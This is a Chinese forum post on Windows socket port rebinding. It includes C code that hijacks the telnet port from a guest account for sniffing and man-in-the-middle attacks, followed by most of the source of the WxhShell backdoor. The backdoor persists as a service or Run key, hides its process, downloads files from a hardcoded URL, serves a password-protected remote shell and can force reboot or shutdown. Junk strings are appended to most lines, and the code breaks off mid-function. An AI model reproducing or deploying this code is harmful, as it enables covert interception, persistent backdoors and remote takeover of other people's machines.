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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~dSr5LUD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XG?8s &  
h 0|s  
  saddr.sin_family = AF_INET; N;R^h? '  
E@\e$?*X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,_P-$lB  
9$Y=orpWxr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); so; ]&  
jylD6IT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "|NI]Kv  
1cDF!X]  
  这意味着什么?意味着可以进行如下的攻击: *v`eUQ:  
TrNF=x>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LP-o8c  
ta0|^KAA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {vj)76%y  
FwK] $4*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6b,V;#Anj  
0_/[k*Re  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sT.ss$HY9,  
DDZ@$L!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [Pp'Ye~K@c  
rOYx b }1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AX INThJ  
54,er$$V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jdN` mosJ  
^q&x7Kv%  
  #include <b.D&  
  #include qK+5NF|  
  #include y5r4&~04  
  #include    hP h-+Hb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _`V'r#Qn  
  int main() c L]1f  
  { aXVFc5C\  
  WORD wVersionRequested;  G*m 0\  
  DWORD ret; ]5O~+Nf  
  WSADATA wsaData; #E[0ys1O  
  BOOL val; x2EUr,7  
  SOCKADDR_IN saddr; _!6jR5&r,  
  SOCKADDR_IN scaddr; H}!r|nG  
  int err; '91/md5  
  SOCKET s; 3]>|  i  
  SOCKET sc; Z;i:](  
  int caddsize; sK{e*[I>W  
  HANDLE mt; ~&T~1xsFJ  
  DWORD tid;   a#4?cEy  
  wVersionRequested = MAKEWORD( 2, 2 ); ' %qr.T %  
  err = WSAStartup( wVersionRequested, &wsaData ); do%&m]#;  
  if ( err != 0 ) { !VJoM,b8  
  printf("error!WSAStartup failed!\n"); *hx  
  return -1; +0&/g&a\R  
  } w(/S?d  
  saddr.sin_family = AF_INET; M{@(G5  
   8m MQ[#0:}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S!UaH>Rh  
BLttb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j^'go&p  
  saddr.sin_port = htons(23); VRMXtQ*1Dm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZH8,K Y"  
  { DF= *_,2/  
  printf("error!socket failed!\n"); tc! #wd+u  
  return -1; vt8By@]:  
  } *p U x8yB  
  val = TRUE; khe}*y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "[J^YKoF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AKC`TA*E  
  { fex@,I&  
  printf("error!setsockopt failed!\n"); Tbq;h ?D  
  return -1; A&VG~r$  
  } M  >u_4AY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xp t:BBo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]DcFySyv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X8|,   
zfU{Kd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r&CiSMS*  
  { O-^Ma- }  
  ret=GetLastError(); 6Oq 7#3]  
  printf("error!bind failed!\n"); Vk suu@cch  
  return -1; ]G\}k  
  } aUp g u"  
  listen(s,2); rp$'L7lrX  
  while(1) ;pAK_>  
  { 'DR!9De  
  caddsize = sizeof(scaddr); *w&e\i|7  
  //接受连接请求 ]Um/FAW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tk}]Gev  
  if(sc!=INVALID_SOCKET) *wearCPeJ  
  { &~CI<\o P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); By |4 m  
  if(mt==NULL) 2G7Wi!J  
  { 1Mzmg[L8  
  printf("Thread Creat Failed!\n"); =bOW~0Z1  
  break; -RwE%  cr  
  } o&%g8=n%  
  } M%HU4pTW#o  
  CloseHandle(mt); 9{l}bu/u  
  } lxx2H1([  
  closesocket(s); C+$#y2"z#n  
  WSACleanup(); jcOcWB|  
  return 0; ?s01@f#  
  }   <~)P7~$d?p  
  DWORD WINAPI ClientThread(LPVOID lpParam) /v{I  
  { [0!(xp^  
  SOCKET ss = (SOCKET)lpParam; 3og.y+.=U.  
  SOCKET sc; ^8WRqQdx  
  unsigned char buf[4096]; -@'FW*b  
  SOCKADDR_IN saddr; K;?+8(H  
  long num; /^ts9:  
  DWORD val; dO'(2J8  
  DWORD ret; A.SvA Yn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BGSw~6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !$ JT e  
  saddr.sin_family = AF_INET; Oketwa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -7ep{p-  
  saddr.sin_port = htons(23); Gc?a+T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /~1+i'7V.,  
  { sHj/;  
  printf("error!socket failed!\n"); /ZX }Nc g  
  return -1; F?0Ykjh3  
  } yi[x}ffdE  
  val = 100; 2 ?C)&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZJoM?g~WFI  
  { 5xiEPh  
  ret = GetLastError(); KI.unP%  
  return -1; w0. u\  
  } Eci\a]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =pNY eR_[  
  { [),ige  
  ret = GetLastError(); (3e 2c  
  return -1; Wwo0%<2y  
  } 8ag!K*\ V<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V`5 O{Gg  
  { ;uW FHc5@B  
  printf("error!socket connect failed!\n"); btB%[]  
  closesocket(sc); DU^loB+  
  closesocket(ss); GgU/ !@  
  return -1; Om&Dw |xG8  
  } \8tsDG(1 '  
  while(1) >_} I.\ X  
  { ZCw]m#lS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f$( e\+ +  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |Tw~@kT@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %O<BfIZ  
  num = recv(ss,buf,4096,0); al0L&z\  
  if(num>0) }Z>)DN=+  
  send(sc,buf,num,0); ~&O%N  
  else if(num==0) a*;b^Ze`v  
  break; Dq xs+  
  num = recv(sc,buf,4096,0); =Qq+4F)MD  
  if(num>0) ESs\O?nO  
  send(ss,buf,num,0); E`q_bn  
  else if(num==0) 9uY'E'm*  
  break; E7hhew  
  } 6@o*xK7L  
  closesocket(ss); ^.tg7%dJ  
  closesocket(sc); =41xkAMnk  
  return 0 ; X]=t>   
  } <i[HbgUlO.  
^aQ"E9  
NI5``BwpO  
========================================================== g`^x@rj`E  
"b[5]Y{ U  
下边附上一个代码,,WXhSHELL mmsPLv6  
<VcQ{F  
========================================================== +(*DT9s+  
Y7nvHU|+o  
#include "stdafx.h" BY*Q_Et  
%\DX#.  
#include <stdio.h> >7r!~+B"9'  
#include <string.h> #g=XUZ/"  
#include <windows.h> Q&&@v4L   
#include <winsock2.h> =xrv~  
#include <winsvc.h> p'fYULYE  
#include <urlmon.h> zL it  
-8Xf0_  
#pragma comment (lib, "Ws2_32.lib") 9l,o P?  
#pragma comment (lib, "urlmon.lib") 5r_|yu  
Wm|lSisY  
#define MAX_USER   100 // 最大客户端连接数 :KN-F86i  
#define BUF_SOCK   200 // sock buffer _6Ha  
#define KEY_BUFF   255 // 输入 buffer =EIkD9u  
.2pK.$.  
#define REBOOT     0   // 重启 [Yyk0Qv|4  
#define SHUTDOWN   1   // 关机 OTp]Xe/  
P$sxr  
#define DEF_PORT   5000 // 监听端口 KgG4*<  
m4& /s  
#define REG_LEN     16   // 注册表键长度 [2koe.?(  
#define SVC_LEN     80   // NT服务名长度 I|J/F}@p  
`kr?j:g  
// 从dll定义API &?vgP!d&M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <or2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CJ%I51F`X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qVPeB,kIz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {^'HL   
iOdpM{~*  
// wxhshell配置信息 kR9-8I{J  
struct WSCFG { ;wVwX6:ZKr  
  int ws_port;         // 监听端口 Nluoqo ac  
  char ws_passstr[REG_LEN]; // 口令 a: S -  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hef g[$m  
  char ws_regname[REG_LEN]; // 注册表键名 >f'g0g  
  char ws_svcname[REG_LEN]; // 服务名 dTtSUA|V7"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rs.M]8a2{&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s <Fl p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vFsLY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tf)*4O4@'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `lPfb[b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .~}1+\~5  
pNIf=lA  
}; go"Hf_  
0;ji65  
// default Wxhshell configuration CP{cAzHO  
struct WSCFG wscfg={DEF_PORT, Z8oK2Dw  
    "xuhuanlingzhe", !a<ng&H^U  
    1, EP+J N  
    "Wxhshell", m6djeOl  
    "Wxhshell", UDni]P!E  
            "WxhShell Service", )ANmIwmC#  
    "Wrsky Windows CmdShell Service", r9lR|\Ax2U  
    "Please Input Your Password: ", 9C \Fq-  
  1, jSAjcLR  
  "http://www.wrsky.com/wxhshell.exe", {GO#.P"  
  "Wxhshell.exe" ^I)N. 5  
    }; ZW}_Q s  
* H9 8Du  
// 消息定义模块 c=+!>Z&i$G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |W\(kb+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F/A|(AH'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F\KUZ[%  
char *msg_ws_ext="\n\rExit."; ; Hd7*`$  
char *msg_ws_end="\n\rQuit."; &f;K}W O  
char *msg_ws_boot="\n\rReboot..."; [h:T*(R?  
char *msg_ws_poff="\n\rShutdown..."; |&[EZ+[  
char *msg_ws_down="\n\rSave to "; lPJ\-/>$z  
$j?1g#  
char *msg_ws_err="\n\rErr!"; l0hlM#  
char *msg_ws_ok="\n\rOK!"; - R6)ROGl  
[=_jYzD,j|  
char ExeFile[MAX_PATH]; W,-g=6,  
int nUser = 0; $2el&I  
HANDLE handles[MAX_USER]; y|q3Wa  
int OsIsNt; 8Bg;Kh6B  
zA"`!}*  
SERVICE_STATUS       serviceStatus; pO.2<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  v<:R#  
v6Vcjm  
// 函数声明 BV+ Bk+  
int Install(void); $D UZ!zaH!  
int Uninstall(void); PJ'E/C)i  
int DownloadFile(char *sURL, SOCKET wsh); ~| 6[j<ziL  
int Boot(int flag); F.v{-8GV  
void HideProc(void); [ps*uva  
int GetOsVer(void); UEVG0qF  
int Wxhshell(SOCKET wsl); HOh!Xcu  
void TalkWithClient(void *cs); @jlw_ob2g  
int CmdShell(SOCKET sock); f0aKlhEC  
int StartFromService(void); FjI`uP  
int StartWxhshell(LPSTR lpCmdLine); wIBO ^w\J  
}Ys >(w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m7>JJX3=<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RlDn0s  
[=^3n#WW  
// 数据结构和表定义 \K<QmK  
SERVICE_TABLE_ENTRY DispatchTable[] = G<^{&E+=  
{ q\527^ZM  
{wscfg.ws_svcname, NTServiceMain}, Clb@$,  
{NULL, NULL} Oh\<VvZuN  
}; p`#R<K  
f! .<$ih  
// 自我安装 3J438M.ka  
int Install(void) r s?R:+  
{ _8)*]-  
  char svExeFile[MAX_PATH]; B|AV$N*  
  HKEY key; 3% ;a)c;D  
  strcpy(svExeFile,ExeFile); ;H.^i|_/  
YNj`W1  
// 如果是win9x系统,修改注册表设为自启动 "E?2xf|.  
if(!OsIsNt) { M$8^91%4B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n%s]30Xs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :s6o"VkW  
  RegCloseKey(key); dIBE!4 V[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^vO+(p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yv!a88+A8M  
  RegCloseKey(key); 2eol gXp  
  return 0; 4l45N6"  
    } :| 8M`18lZ  
  } Zt.|oYH$  
} {_Rr 6  
else { %vhnl'  
Q & K  
// 如果是NT以上系统,安装为系统服务 o,8TDg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,1CIBFY  
if (schSCManager!=0) |3[Wa^U5  
{ bPt!yI:  
  SC_HANDLE schService = CreateService }YNR"X9*)/  
  ( !~D}/Q;#}\  
  schSCManager, \\dM y9M-  
  wscfg.ws_svcname, 2=`o_<P'"  
  wscfg.ws_svcdisp, '>0fWBs  
  SERVICE_ALL_ACCESS, ~`\?"s:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 474SMx$  
  SERVICE_AUTO_START, s<eb;Z2D  
  SERVICE_ERROR_NORMAL, YLv'43PL  
  svExeFile, (HE9V]  
  NULL, m?fy^>1  
  NULL,  jQ  
  NULL, kep/+J-u  
  NULL, `FTy+8mw  
  NULL 5r8< 7g:>C  
  ); o`P %&  
  if (schService!=0) 9Ujo/3,Ak  
  { _i|t Y4L  
  CloseServiceHandle(schService); ~SF<,-Kg  
  CloseServiceHandle(schSCManager); `_RTw5{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P} SCF  
  strcat(svExeFile,wscfg.ws_svcname); ua]o6GlO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v+`N*\J_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u TK,&  
  RegCloseKey(key); 48qV >Gwf  
  return 0; F,dx2ZPIs?  
    } s,=i_gyPQ  
  } Id|L`  w  
  CloseServiceHandle(schSCManager); >eB\(EP  
} U\;6mK)M^J  
} ps%q9}J  
pS9CtQqvgy  
return 1; \S3C"P%w  
} xj(&EGY:  
X#IVjc:&L  
// 自我卸载 LDO@$jg  
int Uninstall(void) DqbN=[!X~n  
{ bc%7-%  
  HKEY key; 6dV92:  
Wk`G+VR+  
if(!OsIsNt) { taw #r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vuA';,:~  
  RegDeleteValue(key,wscfg.ws_regname); anHP5gD  
  RegCloseKey(key); ,0;E_i7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t/pHdxX*C7  
  RegDeleteValue(key,wscfg.ws_regname); rJ K~kKG  
  RegCloseKey(key); &!a[rvtZ+  
  return 0; .F &\xa{  
  } H"6:!;9,  
} p\~ lPXK  
} h$y1"!N(  
else { (:-=XR9A`  
'3aDvV0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vV,H@WK  
if (schSCManager!=0) sLPFeibof5  
{ {^5r5GB=*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CZt)Q4  
  if (schService!=0) | \C{R  
  { -7>vh|3  
  if(DeleteService(schService)!=0) { qK#\k@E  
  CloseServiceHandle(schService); R2-OT5Ej  
  CloseServiceHandle(schSCManager); =2# C{u.  
  return 0; U5%EQc-"P  
  } lhKd<Y"  
  CloseServiceHandle(schService); 9["yL{IPe  
  } -(@dMY  
  CloseServiceHandle(schSCManager); pO4}6\1\  
} p~En~?<  
} P%(pbG-X.  
aa8WRf  
return 1; /&Khk #  
} %BC*h}KGH  
x/R|i%u-s  
// 从指定url下载文件 l0 r Zril  
int DownloadFile(char *sURL, SOCKET wsh) 6uOR0L  
{  0'%R@|  
  HRESULT hr; 9co1+y=i{  
char seps[]= "/"; k5P&F  
char *token; Kw+?Lowp  
char *file; W1iKn  
char myURL[MAX_PATH]; KzG8K 6wZ  
char myFILE[MAX_PATH]; 8!'#B^  
;a*i*{\Rm  
strcpy(myURL,sURL); T1LtO O  
  token=strtok(myURL,seps); @I_A\ U{  
  while(token!=NULL) J#!:Z8b  
  { eOE7A'X   
    file=token; P BpjE}[Q  
  token=strtok(NULL,seps); `[2nxP>w`  
  } H'P1EZtq  
z<hy#BIjnd  
GetCurrentDirectory(MAX_PATH,myFILE); [}N?'foLb  
strcat(myFILE, "\\"); ]+{Cy\*kR  
strcat(myFILE, file); bo4 :|Z  
  send(wsh,myFILE,strlen(myFILE),0); W -8<sv$b  
send(wsh,"...",3,0); O sbY}*S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]4@_KKP  
  if(hr==S_OK) 1}}.e^Tsfr  
return 0; D N GNc  
else kzMCI)>"  
return 1; |.0/~Xy-  
2X&~!%-  
} V#'sH  
-"UK NB!  
// 系统电源模块 (&=-o(  
int Boot(int flag) SL? ! RQ  
{ '(7]jug  
  HANDLE hToken; 4w}\2&=  
  TOKEN_PRIVILEGES tkp; Eg FV  
 S`)KC-  
  if(OsIsNt) { MMN2X xS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bW7tJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v[q2OWcL  
    tkp.PrivilegeCount = 1; ;oH17  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }3!83~Qbx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); snK$? 9vh  
if(flag==REBOOT) { Zm >Q-7r9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4/&Us  
  return 0; ><mZOTn e;  
} TxoMCN?7c  
else { be|k"s|6)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xa[<k >r3  
  return 0; (_^g:>)Cs  
} hc4<`W{  
  } b'pbf  
  else { RFU(wek  
if(flag==REBOOT) { ZT5t~5W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V7G?i\>  
  return 0; :z_D?UQ  
} EW%%W6O6  
else { s/Fc7V!;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z,M?!vK  
  return 0; |"8Az0[!  
} $W<H[k&(B  
} j7K9T  
[rC-3sGar  
return 1; rRRiqmq  
} 3k` "%R.H  
idMb}fw>  
// win9x进程隐藏模块 'ejuzE9  
void HideProc(void) m\(4y Gj  
{ R rs?I,NV  
cKEf- &~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B.-5$4*s  
  if ( hKernel != NULL ) 9<I@}w  
  { >9'G>~P~I=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,A[40SZA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (C={/waJ  
    FreeLibrary(hKernel); .]6_  
  } CkE@ Ll3Z  
9$c0<~B\  
return; : ~"^st_[!  
} =QHW>v  
}QU9+<Z[r  
// 获取操作系统版本 }L^Yoq]  
int GetOsVer(void) ^hv  
{ BG_m}3j  
  OSVERSIONINFO winfo; ~aQ>DpSEf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a,b ;H(em  
  GetVersionEx(&winfo); i[`nu#n/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d/!sHr69  
  return 1; "IA[;+_"  
  else T8h.!Vef  
  return 0; sesr`,m.,  
} :~3sW< P R  
I& l1b>  
// 客户端句柄模块 2+M(!FHfy  
int Wxhshell(SOCKET wsl) -l+ &Bkf  
{ VI,z7 \  
  SOCKET wsh; \[Op:^S  
  struct sockaddr_in client; i;;CU9`E2q  
  DWORD myID; dE!{=u(!i  
B(w k $2  
  while(nUser<MAX_USER) W"?|OQ'  
{ M p:c.  
  int nSize=sizeof(client); M8X*fYn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /tM<ois*  
  if(wsh==INVALID_SOCKET) return 1; K++pH~o  
$,otW2:)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t_6sDr'.  
if(handles[nUser]==0) EGO;g^,  
  closesocket(wsh); )_"Cz".|9  
else ;X<#y2`  
  nUser++; 7Oe |:Z  
  } w~y+Pv@   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rVowHP  
(C*G)Aj7  
  return 0; XL c&7  
} ny%-u &1k  
W-<E p<7{  
// 关闭 socket }@=m[Zx#  
void CloseIt(SOCKET wsh) Un@B D}@\  
{ x^^;/%p  
closesocket(wsh); O9wZx%<  
nUser--; -U)6o"O_CV  
ExitThread(0); aF2 eGh  
} #~*fZ|sq+3  
';us;xR#  
// 客户端请求句柄 I1^0RB{~  
void TalkWithClient(void *cs) S1(. AI~  
{ ${0+LhST  
; { MK  
  SOCKET wsh=(SOCKET)cs; + bU*"5"  
  char pwd[SVC_LEN]; dh~ cj5  
  char cmd[KEY_BUFF]; b;O@|HK&~  
char chr[1]; x&N!SU6  
int i,j; l5*sCp*Z  
6HK dBW$/  
  while (nUser < MAX_USER) { =rB=! ;  
R'Uw17I  
if(wscfg.ws_passstr) { W7 .Y`u[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \H -,^[G3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q"uP%TN  
  //ZeroMemory(pwd,KEY_BUFF); RY4b <i3  
      i=0; &W|r P(  
  while(i<SVC_LEN) { 6iZ:0y0t+6  
5x} XiMM  
  // 设置超时 ))<1"7D^^  
  fd_set FdRead; kYl')L6  
  struct timeval TimeOut; NF0=t}e  
  FD_ZERO(&FdRead); v1m'p:7uGB  
  FD_SET(wsh,&FdRead); w9c^IS  
  TimeOut.tv_sec=8; 97]$*&fH  
  TimeOut.tv_usec=0; qVidubsW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9wB}EDZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "+@>!U  
iYE7BUH=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z6F^p8O-  
  pwd=chr[0]; ,Q2?Z :l  
  if(chr[0]==0xd || chr[0]==0xa) { OZ9ud ]@\  
  pwd=0; r@.3.Q  
  break; 9cO m$  
  } ,m08t9F  
  i++; ee7{5  
    } 4P(ysTuM  
%dN',  
  // 如果是非法用户,关闭 socket ZnVx 'Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VY#:IE:T  
} ;#>,eD2u  
f]*_]J/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qtQB}r8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r'GD  
K5ywO8_6`  
while(1) { 3SU:Xd(\o  
yOQEF\  
  ZeroMemory(cmd,KEY_BUFF); \dG#hH4ZD  
@[vwqPOL  
      // 自动支持客户端 telnet标准   u]Eyb),Gy  
  j=0; *@C]\)  
  while(j<KEY_BUFF) { yE80*C~d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -eA3o2'  
  cmd[j]=chr[0]; UyWKE<  
  if(chr[0]==0xa || chr[0]==0xd) { 2^TJ_xG~  
  cmd[j]=0; =64%eF  
  break; tI&E@  
  } bB#6Xx  
  j++; 49;2tl;F  
    } QSNLo_z  
YdT-E  
  // 下载文件 r8uc.z2%  
  if(strstr(cmd,"http://")) { t622b?w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |}O9'fyU8  
  if(DownloadFile(cmd,wsh)) $:aKb#l)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dl%KD8  
  else R[/]iK+!&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <r1N6(n  
  } Z\)emps  
  else { jxt^d  
VHUOI64*  
    switch(cmd[0]) { 'h:[[D%H`  
  4 <&8`Q  
  // 帮助 6$l6>A  
  case '?': { 2Q/#.lNL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qDPpGI-Y2e  
    break; Ijs"KAW ?  
  } u3Jsu=Nx-  
  // 安装 +TR#  
  case 'i': { yQ3*~d~U|L  
    if(Install()) ;?A?1q8*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T&5dF9a  
    else @rh1W$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %~ROV>&  
    break; ST^@7f_  
    } %NI'PXpI  
  // 卸载 }&o*ZY-1  
  case 'r': { LhM{d  
    if(Uninstall()) 6Ee UiLd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dE _I=v  
    else OcBn1k.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p(5'|eqBV  
    break; Hsoe?kUHF  
    } o#IQz_  
  // 显示 wxhshell 所在路径 E7*z.3  
  case 'p': { 2yFXX9!@  
    char svExeFile[MAX_PATH]; 4/rd r80  
    strcpy(svExeFile,"\n\r"); wF`9}9q  
      strcat(svExeFile,ExeFile); abvA*|  
        send(wsh,svExeFile,strlen(svExeFile),0); ),K!| 7#h  
    break; ~TGk`cAM>  
    } 6 s+ Z  
  // 重启 dB^')-wA  
  case 'b': { -ty_<m]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cE*Gd^  
    if(Boot(REBOOT)) 54A ndyeA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "I|[m%\  
    else { I&} Md73  
    closesocket(wsh); !u} }V  
    ExitThread(0); kdWk{ZT^  
    } x{B%TM-Ey  
    break; ">? y\#O A  
    } -9 AI@^q  
  // 关机 T]5JsrT  
  case 'd': { W .c:Pulg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /FZ@Z]Q0G  
    if(Boot(SHUTDOWN)) z]NN ^pIa  
